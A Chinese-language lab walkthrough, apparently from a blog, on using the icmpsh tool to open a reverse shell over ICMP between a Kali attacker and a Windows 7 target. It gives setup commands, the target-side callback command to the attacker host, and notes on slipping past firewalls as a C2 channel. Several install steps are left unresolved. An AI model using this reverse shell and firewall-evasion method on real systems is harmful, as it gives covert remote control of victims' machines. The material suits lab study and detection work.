ICMP隧道
icmp隧道简单、实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备进行通信肯定需要开放端口,而在icmp协议中则不需要。最常见的icmp消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的icmp请求。
利用价值,在利用 ping 穿透防火墙的检测,因为通常防火墙是不会屏蔽 ping 数据包的。
icmpsh
icmpsh是一个简单的ICMP反弹shell工具,拥有用C,Perl和Python实现的POSIX兼容主控端和一个win32的受控端。相比其他类似的开源工具来说,icmpsh的优点是在目标机器上运行时不需要管理员权限。
这一工具干净、简单并且便携。受控端(客户端)使用C语言实现。只能运行在目标Windows机器上,而主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。
icmpsh很容易被安装并用作c2通道。可以通过Github下载并在攻击者机器中部署icmpsh。
实验环境
- kali2020 : 192.168.101.129,python2
- win7 : 192.168.101.130
利用
1.在攻击机git下icmpsh
git clone https://github.com/inquisb/icmpsh.git
python2开启SimpleHTTPServer服务让靶机下载icmpsh.exe
2 安装 python的impacket库,保证对TCP、UDP、ICMP等协议的访问
apt-get install python-impacket
或者pip install impacket
3.需关闭本机icmp应答,防止内核自己对ping包进行响应
sysctl -w net.ipv4.icmp_echo_ignore_all=1
4.运行 ./run.sh
输入目标IP,将弹出需要在目标主机上运行的命令并开始监听
(未安装impacket?)
再换个方式安装
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python2 setup.py install
(有这些了还是不行…感觉是python2,3的问题)
再换个方式安装
官网手动下载该impacket模块 https://www.cnpython.com/pypi/impacket
解压 tar -zxvf impacket 0.9.19.tar.gz
安装 python2 setup.py install
(还是缺了点啥…待解决)
如果读者在这里顺利的话,可直接将以上箭头处命令复制键入到目标机命令行即可
5.运行icmpsh_m.py
run.sh是用不了那就使用工具中的icmpsh_m.py文件(这个在一开始的时候也是不可以用的,在python2中安装了impacket模块就可以用了)
python2 icmpsh_m.py 本机ip 目标ip
目标机:
可以通过后门管理工具上传或者远程下载icmsh.exe到目标机,键入以下命令即可回连攻击机
icmpsh.exe -t [攻击机]
在目标机输入需要在目标机执行的命令后,在攻击机即可看到目标机的shell
查看流量包
由于数据是利用PING请求/回复报文通过网络层传输,因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的,因此这种方式可能绕过一些防火墙规则
1.靶机通过icmp协议回连到攻击机
2.攻击机通过仍然通过icmp协议将指令带到攻击机执行并将数据返回到攻击机
但是可以看到数据是未经加密混淆的,若遇到一些入侵检测系统,敏感的命令与回显仍然会被检测到
GOT IT!
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~